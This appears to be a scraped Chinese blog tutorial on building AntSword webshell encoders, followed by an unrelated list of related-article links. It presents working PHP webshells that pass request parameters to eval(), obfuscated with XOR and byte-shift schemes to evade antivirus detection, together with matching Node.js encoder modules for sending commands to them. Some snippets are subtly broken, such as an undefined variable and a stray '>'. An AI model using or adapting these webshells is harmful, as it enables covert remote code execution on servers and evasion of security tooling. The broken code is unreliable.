当前位置: 首页 > news >正文

蚁剑编码器——高级

蚁剑编码器——高级
其实也没啥高级不高级的
基于免杀php,把加密,解密分为两层,再把参数作适当的传递即可
先说语法

拿免杀篇最后两个马做演示
第一个

* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
data['_']为原来的数据
data[pwd]是想要传入的内容,也就是连接参数接受的内容
data['key']以key为参数传入的内容
delete data['_']; 删除原始的内容,不需要传输这个
<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
@eval($a);

加密解密分开写

加密

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
>

解密

<?php
function xorEncryptDecrypt($data, $key) {$keyLength = strlen($key);$result = '';for ($i = 0; $i < strlen($data); $i++) {$keyChar = $key[$i % $keyLength];$result .= chr(ord($data[$i]) ^ ord($keyChar));}return $result;
}
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];
if($key){$a = base64_decode(xorEncryptDecrypt($a, $key));@eval($a);
}

这里需要传输的是两个参数

$a=$_REQUEST["a"];
$key=$_REQUEST["b"];

蚁剑是有修改body传参功能的,所以这里有两个方法,第一种,写死$key,蚁剑使用$key编码后,使用body传递值,第二种,随机key,直接在编码器中写好
注意:编码器使用的是node.js写法,写法要修改一下
固定key异或加密

function xorEncryptDecrypt(data, key) {  let keyStr = key.toString();  let keyLength = keyStr.length;  let result = '';   for (let i = 0; i < data.length; i++) {   let keyCharCode = keyStr.charCodeAt(i % keyLength);  let charCode = data.charCodeAt(i);  let xorCharCode = charCode ^ keyCharCode;  result += String.fromCharCode(xorCharCode);  }  return result;  
}  
let plaintext = "";  
let key = "123456789";
let ciphertext = xorEncryptDecrypt(plaintext, key);  

参数替换为蚁剑特有的参数

'use strict';module.exports = (pwd, data, ext={}) => {
function xorEncryptDecrypt(data, key) {  let keyStr = key.toString();  let keyLength = keyStr.length;  let result = '';   for (let i = 0; i < data.length; i++) {   let keyCharCode = keyStr.charCodeAt(i % keyLength);  let charCode = data.charCodeAt(i);  let xorCharCode = charCode ^ keyCharCode;  result += String.fromCharCode(xorCharCode);  }  return result;  
} 
let key = 123456789; 
data['_']=Buffer.from(data['_']).toString('base64');
data[pwd]=xorEncryptDecrypt(data['_'],key);
delete data['_'];
return data;
}

但是这种方法需要手动在body参数里面传入参数b和内容
蚁剑编码器里给予了一种最为简单传递参数的方式,data[‘_’],在这个例子中只需要多加一行
data[‘b’]=key;即可
看一下数据包
在这里插入图片描述

第二种

<?php
function simpleTransform($str, $offset = 1) {$transformed = '';for ($i = 0; $i < strlen($str); $i++) {$transformed .= chr((ord($str[$i]) + $offset) % 256);}return $transformed;
}$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {$reversed = '';for ($i = 0; $i < strlen($str); $i++) {$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);}return $reversed;
}$reversed = reverseTransform($transformed, 3);
echo eval($reversed);

一样的步骤,加密解密分离

<?php
$original = $_REQUEST["a"];
$key = $_REQUEST["key"];
function reverseTransform($str, $offset = 1) {$reversed = '';for ($i = 0; $i < strlen($str); $i++) {$reversed .= chr((ord($str[$i]) - $offset + 256) % 256);}return $reversed;
}
$reversed = reverseTransform($transformed, $key);
@eval($reversed);

加密

module.exports = (pwd, data, ext={}) => {
function simpleTransform(str, offset = 1) {  let transformed = '';  for (let i = 0; i < str.length; i++) {  let code = str.charCodeAt(i);  let newCode = (code + offset) % 256;  transformed += String.fromCharCode(newCode);  }  return transformed;  
}  
let random = Math.floor(Math.random() * 6) + 5;
data['_']=Buffer.from(data['_']).toString('base64');
data['key']=random;
data[pwd]=simpleTransform(data['_'],random);
delete data['_'];
return data;
}

这里只是以两个简单的例子作为演示,仅以普通的$_REQUEST来获取内容,可以通过sessions,cookie等方式进行传输,也可以通过其他的方式进行加密

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 骨头的诱惑
  • Directory Opus 13 专业版(Windows 增强型文件管理器)值得购买?
  • wps批量删除空白单元格
  • [AI 大模型] Meta LLaMA-2
  • MVC之 Controller 》》 ModelState ValidationMessageFor ValidationSummary
  • 小厂Java开发面经解析
  • 如何连接到公司的服务器?
  • 模板语法指令语法——02
  • 【Leetcode--旋转矩阵】
  • tkinter-TinUI-xml实战(12)pip可视化管理器
  • 新书速览|Vue.js 3.x+Express全栈开发:从0到1打造商城项目
  • 数据结构与算法(1):递归函数的设计技巧
  • PostgreSQl 物化视图
  • 秒懂设计模式--学习笔记(9)【结构型-装饰器模式】
  • nginx正向代理、反向代理、负载均衡
  • Android框架之Volley
  • Angular2开发踩坑系列-生产环境编译
  •  D - 粉碎叛乱F - 其他起义
  • Electron入门介绍
  • js 实现textarea输入字数提示
  • oschina
  • PV统计优化设计
  • ReactNative开发常用的三方模块
  • SpiderData 2019年2月23日 DApp数据排行榜
  • Web设计流程优化:网页效果图设计新思路
  • 技术胖1-4季视频复习— (看视频笔记)
  • 开年巨制!千人千面回放技术让你“看到”Flutter用户侧问题
  • 理解在java “”i=i++;”所发生的事情
  • 利用jquery编写加法运算验证码
  • 使用API自动生成工具优化前端工作流
  • 微信小程序开发问题汇总
  • 小程序、APP Store 需要的 SSL 证书是个什么东西?
  • 优化 Vue 项目编译文件大小
  • # 消息中间件 RocketMQ 高级功能和源码分析(七)
  • #HarmonyOS:软件安装window和mac预览Hello World
  • #知识分享#笔记#学习方法
  • $LayoutParams cannot be cast to android.widget.RelativeLayout$LayoutParams
  • $分析了六十多年间100万字的政府工作报告,我看到了这样的变迁
  • (14)Hive调优——合并小文件
  • (30)数组元素和与数字和的绝对差
  • (35)远程识别(又称无人机识别)(二)
  • (7)STL算法之交换赋值
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (javaweb)Http协议
  • (二)十分简易快速 自己训练样本 opencv级联lbp分类器 车牌识别
  • (实战)静默dbca安装创建数据库 --参数说明+举例
  • (续)使用Django搭建一个完整的项目(Centos7+Nginx)
  • (自用)gtest单元测试
  • (最全解法)输入一个整数,输出该数二进制表示中1的个数。
  • ***通过什么方式***网吧
  • .apk文件,IIS不支持下载解决
  • .Net 6.0 处理跨域的方式
  • .Net Core 微服务之Consul(二)-集群搭建
  • .net 桌面开发 运行一阵子就自动关闭_聊城旋转门家用价格大约是多少,全自动旋转门,期待合作...
  • .NET/C# 的字符串暂存池